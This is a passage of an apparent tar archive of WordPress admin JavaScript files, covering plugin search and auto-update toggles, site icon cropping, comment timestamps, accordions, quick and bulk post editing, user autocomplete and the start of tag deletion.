g.updates.searchRequest,0===e.count?g.a11y.speak(h("You do not appear to have any plugins available at this time.")):g.a11y.speak(v(h("Number of plugins found: %d"),e.count))}))):d.attr("autocomplete","on")},1e3)),a.length&&a.attr("aria-describedby","live-search-desc"),a.on("keyup input",_.debounce(function(e){var s={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),pagenow:pagenow,plugin_status:"all"},t=a.val().length;g.updates.shouldSearch(t)?(a.attr("autocomplete","off"),"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm!==s.s&&(g.updates.searchTerm=s.s,t=_.object(_.compact(_.map(location.search.slice(1).split("&"),function(e){if(e)return e.split("=")}))),s.plugin_status=t.plugin_status||"all",window.history&&window.history.replaceState&&window.history.replaceState(null,"",location.href.split("?")[0]+"?s="+s.s+"&plugin_status="+s.plugin_status),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),o.empty(),c("body").addClass("loading-content"),c(".subsubsub .current").removeClass("current"),g.updates.searchRequest=g.ajax.post("search-plugins",s).done(function(e){var t=c("<span />").addClass("subtitle").html(v(h("Search results for: %s"),"<strong>"+_.escape(decodeURIComponent(s.s))+"</strong>")),a=c(".wrap .subtitle");s.s.length?a.length?a.replaceWith(t):c(".wp-header-end").before(t):(a.remove(),c(".subsubsub ."+s.plugin_status+" a").addClass("current")),c("body").removeClass("loading-content"),o.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(h("No plugins found. Try a different search.")):g.a11y.speak(v(h("Number of plugins found: %d"),e.count))}))):a.attr("autocomplete","on")},500)),f.on("submit",".search-plugins",function(e){e.preventDefault(),c("input.wp-filter-search").trigger("input")}),f.on("click",".try-again",function(e){e.preventDefault(),d.trigger("input")}),c("#typeselector").on("change",function(){var e=c('input[name="s"]');e.val().length&&e.trigger("input","typechange")}),c("#plugin_update_from_iframe").on("click",function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("update-core.php")&&(e.preventDefault(),e={action:"update-plugin",data:{plugin:c(this).data("plugin"),slug:c(this).data("slug")}},t.postMessage(JSON.stringify(e),window.location.origin))}),c(window).on("message",function(e){var t,e=e.originalEvent,a=document.location.protocol+"//"+document.location.host;if(e.origin===a){try{t=JSON.parse(e.data)}catch(e){return}if(t)if(void 0!==t.status&&void 0!==t.slug&&void 0!==t.text&&void 0!==t.ariaLabel&&(a=c(".plugin-card-"+t.slug).find('[data-slug="'+t.slug+'"]'),void 0!==t.removeClasses&&a.removeClass(t.removeClasses),void 0!==t.addClasses&&a.addClass(t.addClasses),""===t.ariaLabel?a.removeAttr("aria-label"):a.attr("aria-label",t.ariaLabel),"dependencies-check-success"===t.status&&a.attr("data-name",t.pluginName).attr("data-slug",t.slug).attr("data-plugin",t.plugin).attr("href",t.href),a.text(t.text)),void 0!==t.action)switch(t.action){case"decrementUpdateCount":g.updates.decrementCount(t.upgradeType);break;case"install-plugin":case"update-plugin":void 0!==t.data&&void 0!==t.data.slug&&(t.data=g.updates._addCallbacks(t.data,t.action),g.updates.queue.push(t),g.updates.queueChecker())}}}),c(window).on("beforeunload",g.updates.beforeunload),f.on("keydown",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){32===e.which&&e.preventDefault()}),f.on("click keyup",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){var l,d,u,o=c(this),r=o.attr("data-wp-action"),p=o.find(".label");if(("keyup"!==e.type||32===e.which)&&(u="themes"!==pagenow?o.closest(".column-auto-updates"):o.closest(".theme-autoupdate"),e.preventDefault(),"yes"!==o.attr("data-doing-ajax"))){switch(o.attr("data-doing-ajax","yes"),pagenow){case"plugins":case"plugins-network":d="plugin",l=o.closest("tr").attr("data-plugin");break;case"themes-network":d="theme",l=o.closest("tr").attr("data-slug");break;case"themes":d="theme",l=o.attr("data-slug")}u.find(".notice.notice-error").addClass("hidden"),"enable"===r?p.text(h("Enabling...")):p.text(h("Disabling...")),o.find(".dashicons-update").removeClass("hidden"),e={action:"toggle-auto-updates",_ajax_nonce:m.ajax_nonce,state:r,type:d,asset:l},c.post(window.ajaxurl,e).done(function(e){var t,a,s,n,i=o.attr("href");if(e.success){if("themes"!==pagenow){switch(n=c(".auto-update-enabled span"),t=c(".auto-update-disabled span"),a=parseInt(n.text().replace(/[^\d]+/g,""),10)||0,s=parseInt(t.text().replace(/[^\d]+/g,""),10)||0,r){case"enable":++a,--s;break;case"disable":--a,++s}a=Math.max(0,a),s=Math.max(0,s),n.text("("+a+")"),t.text("("+s+")")}"enable"===r?(o[0].hasAttribute("href")&&(i=i.replace("action=enable-auto-update","action=disable-auto-update"),o.attr("href",i)),o.attr("data-wp-action","disable"),p.text(h("Disable auto-updates")),u.find(".auto-update-time").removeClass("hidden"),g.a11y.speak(h("Auto-updates enabled"))):(o[0].hasAttribute("href")&&(i=i.replace("action=disable-auto-update","action=enable-auto-update"),o.attr("href",i)),o.attr("data-wp-action","enable"),p.text(h("Enable auto-updates")),u.find(".auto-update-time").addClass("hidden"),g.a11y.speak(h("Auto-updates disabled"))),f.trigger("wp-auto-update-setting-changed",{state:r,type:d,asset:l})}else n=e.data&&e.data.error?e.data.error:h("The request could not be completed."),u.find(".notice.notice-error").removeClass("hidden").find("p").text(n),g.a11y.speak(n,"assertive")}).fail(function(){u.find(".notice.notice-error").removeClass("hidden").find("p").text(h("The request could not be completed.")),g.a11y.speak(h("The request could not be completed."),"assertive")}).always(function(){o.removeAttr("data-doing-ajax").find(".dashicons-update").addClass("hidden")})}})})}(jQuery,window.wp,window._wpUpdatesSettings); js/site-icon.min.js 0000644 00000004316 15233246127 0010203 0 ustar 00 /*! This file is auto-generated */ !function(t){var a,i=t("#choose-from-library-button"),s=t("#site-icon-preview"),r=t("#browser-icon-preview"),n=t("#app-icon-preview"),l=t("#site_icon_hidden_field"),o=t("#js-remove-site-icon");function c(t){var e=t.get("width"),t=t.get("height"),a=512,i=512,s=a/i,r=a,n=i;return s<e/t?a=(i=t)*s:i=(a=e)/s,{aspectRatio:a+":"+i,handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:e,imageHeight:t,minWidth:a<r?a:r,minHeight:i<n?i:n,x1:s=(e-a)/2,y1:r=(t-i)/2,x2:a+s,y2:i+r}}function d(t){var e,a=t.alt?(e=wp.i18n.sprintf(wp.i18n.__("App icon preview: Current image: %s"),t.alt),wp.i18n.sprintf(wp.i18n.__("Browser icon preview: Current image: %s"),t.alt)):(e=wp.i18n.sprintf(wp.i18n.__("App icon preview: The current image has no alternative text. The file name is: %s"),t.filename),wp.i18n.sprintf(wp.i18n.__("Browser icon preview: The current image has no alternative text. The file name is: %s"),t.filename));n.attr({src:t.url,alt:e}),r.attr({src:t.url,alt:a}),s.removeClass("hidden"),o.removeClass("hidden"),document.documentElement.style.setProperty("--site-icon-url","url("+t.url+")"),"1"!==i.attr("data-state")&&i.attr({class:i.attr("data-alt-classes"),"data-alt-classes":i.attr("class"),"data-state":"1"}),i.text(i.attr("data-update-text"))}i.on("click",function(){var e=t(this);(a=wp.media({button:{text:e.data("update"),close:!1},states:[new wp.media.controller.Library({title:e.data("choose-text"),library:wp.media.query({type:"image"}),date:!1,suggestedWidth:e.data("size"),suggestedHeight:e.data("size")}),new wp.media.controller.SiteIconCropper({control:{params:{width:e.data("size"),height:e.data("size")}},imgSelectOptions:c})]})).on("cropped",function(t){l.val(t.id),d(t),a.close(),a=null}),a.on("select",function(){var t=a.state().get("selection").first();t.attributes.height===e.data("size")&&e.data("size")===t.attributes.width?(d(t.attributes),a.close(),l.val(t.id)):a.setState("cropper")}),a.open()}),o.on("click",function(){l.val("false"),t(this).toggleClass("hidden"),s.toggleClass("hidden"),r.attr({src:"",alt:""}),n.attr({src:"",alt:""}),i.attr({class:i.attr("data-alt-classes"),"data-alt-classes":i.attr("class"),"data-state":""}).text(i.attr("data-choose-text")).trigger("focus")})}(jQuery); js/comment.js 0000644 00000005547 15233246127 0007200 0 ustar 00 /** * @output wp-admin/js/comment.js */ /* global postboxes */ /** * Binds to the document ready event. * * @since 2.5.0 * * @param {jQuery} $ The jQuery object. */ jQuery( function($) { postboxes.add_postbox_toggles('comment'); var $timestampdiv = $('#timestampdiv'), $timestamp = $( '#timestamp' ), stamp = $timestamp.html(), $timestampwrap = $timestampdiv.find( '.timestamp-wrap' ), $edittimestamp = $timestampdiv.siblings( 'a.edit-timestamp' ); /** * Adds event that opens the time stamp form if the form is hidden. * * @listens $edittimestamp:click * * @param {Event} event The event object. * @return {void} */ $edittimestamp.on( 'click', function( event ) { if ( $timestampdiv.is( ':hidden' ) ) { // Slide down the form and set focus on the first field. $timestampdiv.slideDown( 'fast', function() { $( 'input, select', $timestampwrap ).first().trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); /** * Resets the time stamp values when the cancel button is clicked. * * @listens .cancel-timestamp:click * * @param {Event} event The event object. * @return {void} */ $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) { // Move focus back to the Edit link. $edittimestamp.show().trigger( 'focus' ); $timestampdiv.slideUp( 'fast' ); $('#mm').val($('#hidden_mm').val()); $('#jj').val($('#hidden_jj').val()); $('#aa').val($('#hidden_aa').val()); $('#hh').val($('#hidden_hh').val()); $('#mn').val($('#hidden_mn').val()); $timestamp.html( stamp ); event.preventDefault(); }); /** * Sets the time stamp values when the ok button is clicked. * * @listens .save-timestamp:click * * @param {Event} event The event object. * @return {void} */ $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. var aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(), newD = new Date( aa, mm - 1, jj, hh, mn ); event.preventDefault(); if ( newD.getFullYear() != aa || (1 + newD.getMonth()) != mm || newD.getDate() != jj || newD.getMinutes() != mn ) { $timestampwrap.addClass( 'form-invalid' ); return; } else { $timestampwrap.removeClass( 'form-invalid' ); } $timestamp.html( wp.i18n.__( 'Submitted on:' ) + ' <b>' + /* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */ wp.i18n.__( '%1$s %2$s, %3$s at %4$s:%5$s' ) .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) ) .replace( '%2$s', parseInt( jj, 10 ) ) .replace( '%3$s', aa ) .replace( '%4$s', ( '00' + hh ).slice( -2 ) ) .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) + '</b> ' ); // Move focus back to the Edit link. $edittimestamp.show().trigger( 'focus' ); $timestampdiv.slideUp( 'fast' ); }); }); js/accordion.min.js 0000644 00000001366 15233246127 0010254 0 ustar 00 /*! This file is auto-generated */ !function(s){s(function(){s(".accordion-container").on("click",".accordion-section-title button",function(){var n,o,e,a,t,i;n=s(this),o=n.closest(".accordion-section"),e=o.closest(".accordion-container"),a=e.find(".open"),t=a.find("[aria-expanded]").first(),i=o.find(".accordion-section-content"),o.hasClass("cannot-expand")||(e.addClass("opening"),o.hasClass("open")?(o.toggleClass("open"),i.toggle(!0).slideToggle(150)):(t.attr("aria-expanded","false"),a.removeClass("open"),a.find(".accordion-section-content").show().slideUp(150),i.toggle(!1).slideToggle(150),o.toggleClass("open")),setTimeout(function(){e.removeClass("opening")},150),n&&n.attr("aria-expanded",String("false"===n.attr("aria-expanded"))))})})}(jQuery); js/inline-edit-post.js 0000644 00000050315 15233246127 0010713 0 ustar 00 /** * This file contains the functions needed for the inline editing of posts. * * @since 2.7.0 * @output wp-admin/js/inline-edit-post.js */ /* global ajaxurl, typenow, inlineEditPost */ window.wp = window.wp || {}; /** * Manages the quick edit and bulk edit windows for editing posts or pages. * * @namespace inlineEditPost * * @since 2.7.0 * * @type {Object} * * @property {string} type The type of inline editor. * @property {string} what The prefix before the post ID. * */ ( function( $, wp ) { window.inlineEditPost = { /** * Initializes the inline and bulk post editor. * * Binds event handlers to the Escape key to close the inline editor * and to the save and close buttons. Changes DOM to be ready for inline * editing. Adds event handler to bulk edit. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {void} */ init : function(){ var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit'); t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post'; // Post ID prefix. t.what = '#post-'; /** * Binds the Escape key to revert the changes and close the quick editor. * * @return {boolean} The result of revert. */ qeRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Binds the Escape key to revert the changes and close the bulk editor. * * @return {boolean} The result of revert. */ bulkRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Reverts changes and close the quick editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', qeRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Saves changes in the quick editor if the save(named: update) button is clicked. * * @return {boolean} The result of save. */ $( '.save', qeRow ).on( 'click', function() { return inlineEditPost.save(this); }); /** * If Enter is pressed, and the target is not the cancel button, save the post. * * @return {boolean} The result of save. */ $('td', qeRow).on( 'keydown', function(e){ if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) { return inlineEditPost.save(this); } }); /** * Reverts changes and close the bulk editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', bulkRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Disables the password input field when the private post checkbox is checked. */ $('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){ var pw = $('input.inline-edit-password-input'); if ( $(this).prop('checked') ) { pw.val('').prop('disabled', true); } else { pw.prop('disabled', false); } }); /** * Binds click event to the .editinline button which opens the quick editor. */ $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditPost.edit( this ); }); // Clone quick edit categories for the bulk editor. var beCategories = $( '#inline-edit fieldset.inline-edit-categories' ).clone(); // Make "id" attributes globally unique. beCategories.find( '*[id]' ).each( function() { this.id = 'bulk-edit-' + this.id; }); $('#bulk-edit').find('fieldset:first').after( beCategories ).siblings( 'fieldset:last' ).prepend( $( '#inline-edit .inline-edit-tags-wrap' ).clone() ); $('select[name="_status"] option[value="future"]', bulkRow).remove(); /** * Adds onclick events to the apply buttons. */ $('#doaction').on( 'click', function(e){ var n, $itemsSelected = $( '#posts-filter .check-column input[type="checkbox"]:checked' ); if ( $itemsSelected.length < 1 ) { return; } t.whichBulkButtonId = $( this ).attr( 'id' ); n = t.whichBulkButtonId.substr( 2 ); if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) { e.preventDefault(); t.setBulk(); } else if ( $('form#posts-filter tr.inline-editor').length > 0 ) { t.revert(); } }); }, /** * Toggles the quick edit window, hiding it when it's active and showing it when * inactive. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} el Element within a post table row. */ toggle : function(el){ var t = this; $( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el ); }, /** * Creates the bulk editor row to edit multiple posts at once. * * @since 2.7.0 * * @memberof inlineEditPost */ setBulk : function(){ var te = '', type = this.type, c = true; var checkedPosts = $( 'tbody th.check-column input[type="checkbox"]:checked' ); var categories = {}; this.revert(); $( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Insert the editor at the top of the table with an empty row above to maintain zebra striping. $('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>'); $('#bulk-edit').addClass('inline-editor').show(); /** * Create a HTML div with the title and a link(delete-icon) for each selected * post. * * Get the selected posts based on the checked checkboxes in the post table. */ $( 'tbody th.check-column input[type="checkbox"]' ).each( function() { // If the checkbox for a post is selected, add the post to the edit list. if ( $(this).prop('checked') ) { c = false; var id = $( this ).val(), theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ), buttonVisuallyHiddenText = wp.i18n.sprintf( /* translators: %s: Post title. */ wp.i18n.__( 'Remove “%s” from Bulk Edit' ), theTitle ); te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>'; } }); // If no checkboxes where checked, just hide the quick/bulk edit rows. if ( c ) { return this.revert(); } // Populate the list of items to bulk edit. $( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' ); // Gather up some statistics on which of these checked posts are in which categories. checkedPosts.each( function() { var id = $( this ).val(); var checked = $( '#category_' + id ).text().split( ',' ); checked.map( function( cid ) { categories[ cid ] || ( categories[ cid ] = 0 ); // Just record that this category is checked. categories[ cid ]++; } ); } ); // Compute initial states. $( '.inline-edit-categories input[name="post_category[]"]' ).each( function() { if ( categories[ $( this ).val() ] == checkedPosts.length ) { // If the number of checked categories matches the number of selected posts, then all posts are in this category. $( this ).prop( 'checked', true ); } else if ( categories[ $( this ).val() ] > 0 ) { // If the number is less than the number of selected posts, then it's indeterminate. $( this ).prop( 'indeterminate', true ); if ( ! $( this ).parent().find( 'input[name="indeterminate_post_category[]"]' ).length ) { // Get the term label text. var label = $( this ).parent().text(); // Set indeterminate states for the backend. Add accessible text for indeterminate inputs. $( this ).after( '<input type="hidden" name="indeterminate_post_category[]" value="' + $( this ).val() + '">' ).attr( 'aria-label', label.trim() + ': ' + wp.i18n.__( 'Some selected posts have this category' ) ); } } } ); $( '.inline-edit-categories input[name="post_category[]"]:indeterminate' ).on( 'change', function() { // Remove accessible label text. Remove the indeterminate flags as there was a specific state change. $( this ).removeAttr( 'aria-label' ).parent().find( 'input[name="indeterminate_post_category[]"]' ).remove(); } ); $( '.inline-edit-save button' ).on( 'click', function() { $( '.inline-edit-categories input[name="post_category[]"]' ).prop( 'indeterminate', false ); } ); /** * Binds on click events to handle the list of items to bulk edit. * * @listens click */ $( '#bulk-titles .ntdelbutton' ).click( function() { var $this = $( this ), id = $this.attr( 'id' ).substr( 1 ), $prev = $this.parent().prev().children( '.ntdelbutton' ), $next = $this.parent().next().children( '.ntdelbutton' ); $( 'input#cb-select-all-1, input#cb-select-all-2' ).prop( 'checked', false ); $( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false ); $( '#_' + id ).parent().remove(); wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' ); // Move focus to a proper place when items are removed. if ( $next.length ) { $next.focus(); } else if ( $prev.length ) { $prev.focus(); } else { $( '#bulk-titles-list' ).remove(); inlineEditPost.revert(); wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) ); } }); // Enable auto-complete for tags when editing posts. if ( 'post' === type ) { $( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) { /* * While Quick Edit clones the form each time, Bulk Edit always re-uses * the same form. Let's check if an autocomplete instance already exists. */ if ( $( element ).autocomplete( 'instance' ) ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( element ).wpTagsSuggest(); } ); } // Set initial focus on the Bulk Edit region. $( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus(); // Scrolls to the top of the table where the editor is rendered. $('html, body').animate( { scrollTop: 0 }, 'fast' ); }, /** * Creates a quick edit window for the post that has been clicked. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {number|Object} id The ID of the clicked post or an element within a post * table row. * @return {boolean} Always returns false at the end of execution. */ edit : function(id) { var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw; t.revert(); if ( typeof(id) === 'object' ) { id = t.getId(id); } fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template']; if ( t.type === 'page' ) { fields.push('post_parent'); } // Add the new edit row with an extra blank row underneath to maintain zebra striping. editRow = $('#inline-edit').clone(true); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Remove the ID from the copied row and let the `for` attribute reference the hidden ID. $( 'td', editRow ).find('#quick-edit-legend').removeAttr('id'); $( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id'); $(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>'); // Populate fields in the quick edit window. rowData = $('#inline_'+id); if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) { // The post author no longer has edit capabilities, so we need to add them to the list of authors. $(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#post-' + id + ' .author').text() + '</option>'); } if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) { $('label.inline-edit-author', editRow).hide(); } for ( f = 0; f < fields.length; f++ ) { val = $('.'+fields[f], rowData); /** * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text. * * @return {string} Alternate text from the image. */ val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="' + fields[f] + '"]', editRow).val( val ); } if ( $( '.comment_status', rowData ).text() === 'open' ) { $( 'input[name="comment_status"]', editRow ).prop( 'checked', true ); } if ( $( '.ping_status', rowData ).text() === 'open' ) { $( 'input[name="ping_status"]', editRow ).prop( 'checked', true ); } if ( $( '.sticky', rowData ).text() === 'sticky' ) { $( 'input[name="sticky"]', editRow ).prop( 'checked', true ); } /** * Creates the select boxes for the categories. */ $('.post_category', rowData).each(function(){ var taxname, term_ids = $(this).text(); if ( term_ids ) { taxname = $(this).attr('id').replace('_'+id, ''); $('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(',')); } }); /** * Gets all the taxonomies for live auto-fill suggestions when typing the name * of a tag. */ $('.tags_input', rowData).each(function(){ var terms = $(this), taxname = $(this).attr('id').replace('_' + id, ''), textarea = $('textarea.tax_input_' + taxname, editRow), comma = wp.i18n._x( ',', 'tag delimiter' ).trim(); // Ensure the textarea exists. if ( ! textarea.length ) { return; } terms.find( 'img' ).replaceWith( function() { return this.alt; } ); terms = terms.text(); if ( terms ) { if ( ',' !== comma ) { terms = terms.replace(/,/g, comma); } textarea.val(terms); } textarea.wpTagsSuggest(); }); // Handle the post status. var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val(); post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val(); var post_date = new Date( post_date_string ); status = $('._status', rowData).text(); if ( 'future' !== status && Date.now() > post_date ) { $('select[name="_status"] option[value="future"]', editRow).remove(); } else { $('select[name="_status"] option[value="publish"]', editRow).remove(); } pw = $( '.inline-edit-password-input' ).prop( 'disabled', false ); if ( 'private' === status ) { $('input[name="keep_private"]', editRow).prop('checked', true); pw.val( '' ).prop( 'disabled', true ); } // Remove the current page and children from the parent dropdown. pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow); if ( pageOpt.length > 0 ) { pageLevel = pageOpt[0].className.split('-')[1]; nextPage = pageOpt; while ( pageLoop ) { nextPage = nextPage.next('option'); if ( nextPage.length === 0 ) { break; } nextLevel = nextPage[0].className.split('-')[1]; if ( nextLevel <= pageLevel ) { pageLoop = false; } else { nextPage.remove(); nextPage = pageOpt; } } pageOpt.remove(); } $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).trigger( 'focus' ); return false; }, /** * Saves the changes made in the quick edit window to the post. * Ajax saving is only for Quick Edit and not for bulk edit. * * @since 2.7.0 * * @param {number} id The ID for the post that has been changed. * @return {boolean} False, so the form does not submit when pressing * Enter on a focused field. */ save : function(id) { var params, fields, page = $('.post_status_page').val() || ''; if ( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save', post_type: typenow, post_ID: id, edit_date: 'true', post_status: page }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Make Ajax request. $.post( ajaxurl, params, function(r) { var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove(); $('#edit-'+id).before(r).remove(); $( inlineEditPost.what + id ).hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. $( this ) is the row being animated. $( this ).find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { r = r.replace( /<.[^<>]*?>/g, '' ); $errorNotice.removeClass( 'hidden' ); $error.html( r ); wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } }, 'html'); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Hides and empties the Quick Edit and/or Bulk Edit windows. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {boolean} Always returns false. */ revert : function(){ var $tableWideFat = $( '.widefat' ), id = $( '.inline-editor', $tableWideFat ).attr( 'id' ); if ( id ) { $( '.spinner', $tableWideFat ).removeClass( 'is-active' ); if ( 'bulk-edit' === id ) { // Hide the bulk editor. $( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove(); $('#bulk-titles').empty(); // Store the empty bulk editor in a hidden element. $('#inlineedit').append( $('#bulk-edit') ); // Move focus back to the Bulk Action button that was activated. $( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' ); } else { // Remove both the inline-editor and its hidden tr siblings. $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the post row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } } return false; }, /** * Gets the ID for a the post that you want to quick edit from the row in the quick * edit table. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} o DOM row object to get the ID for. * @return {string} The post ID extracted from the table row in the object. */ getId : function(o) { var id = $(o).closest('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditPost.init(); } ); // Show/hide locks on posts. $( function() { // Set the heartbeat interval to 10 seconds. if ( typeof wp !== 'undefined' && wp.heartbeat ) { wp.heartbeat.interval( 10 ); } }).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) { var locked = data['wp-check-locked-posts'] || {}, lockedClass = 'wp-locked'; $('#the-list tr').each( function(i, el) { var key = el.id, row = $(el), lock_data, avatar; if ( locked.hasOwnProperty( key ) ) { if ( ! row.hasClass( lockedClass ) ) { lock_data = locked[key]; row.find('.column-title .locked-text').text( lock_data.text ); row.find('.check-column checkbox').prop('checked', false); if ( lock_data.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-18 photo', width: 18, height: 18, alt: '', src: lock_data.avatar_src, srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined } ); row.find('.column-title .locked-avatar').empty().append( avatar ); } row.addClass( lockedClass ); } } else if ( row.hasClass( lockedClass ) ) { row.removeClass( lockedClass ).find( '.locked-info span' ).empty(); } }); }).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) { var check = []; $('#the-list tr').each( function(i, el) { if ( el.id ) { check.push( el.id ); } }); if ( check.length ) { data['wp-check-locked-posts'] = check; } }); })( jQuery, window.wp ); js/user-suggest.min.js 0000644 00000001244 15233246127 0010743 0 ustar 00 /*! This file is auto-generated */ !function(a){var n="undefined"!=typeof current_site_id?"&site_id="+current_site_id:"";a(function(){var i={offset:"0, -1"};"undefined"!=typeof isRtl&&isRtl&&(i.my="right top",i.at="right bottom"),a(".wp-suggest-user").each(function(){var e=a(this),t=void 0!==e.data("autocompleteType")?e.data("autocompleteType"):"add",o=void 0!==e.data("autocompleteField")?e.data("autocompleteField"):"user_login";e.autocomplete({source:ajaxurl+"?action=autocomplete-user&autocomplete_type="+t+"&autocomplete_field="+o+n,delay:500,minLength:2,position:i,open:function(){a(this).addClass("open")},close:function(){a(this).removeClass("open")}})})})}(jQuery); js/tags.js 0000644 00000013722 15233246127 0006466 0 ustar 00 /** * Contains logic for deleting and adding tags. * * For deleting tags it makes a request to the server to delete the tag. * For adding tags it makes a request to the server to add the tag. * * @output wp-admin/js/tags.js */ /* global ajaxurl, wpAjax, showNotice, validateForm */ jQuery( function($) { var addingTerm = false; /** * Adds an event handler to the delete term link on the term overview page. * * Cancels default event handling and event bubbling. * * @since 2.8.0 * * @return {boolean} Always returns false to cancel the default event handling. */ $( '#the-list' ).on( 'click', '.delete-tag', function() { var t = $(this), tr = t.parents('tr'), r = true, data; if ( 'undefined' != showNotice ) r = showNotice.warn(); if ( r ) { data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag'); tr.children().css('backgroundColor', '#faafaa'); // Disable pointer events and all form controls/links in the row tr.css('pointer-events', 'none'); tr.find(':input, a').prop('disabled', true).attr('tabindex', -1); /** * Makes a request to the server to delete the term that corresponds to the * delete term button. * * @param {string} r The response from the server. * * @return {void} */ $.post(ajaxurl, data, function(r){ var message; if ( '1' == r ) { $('#ajax-response').empty(); let nextFocus = tr.next( 'tr' ).find( 'a.row-title' ); let prevFocus = tr.prev( 'tr' ).find( 'a.row-title' ); // If there is neither a next row or a previous row, focus the tag input field. if ( 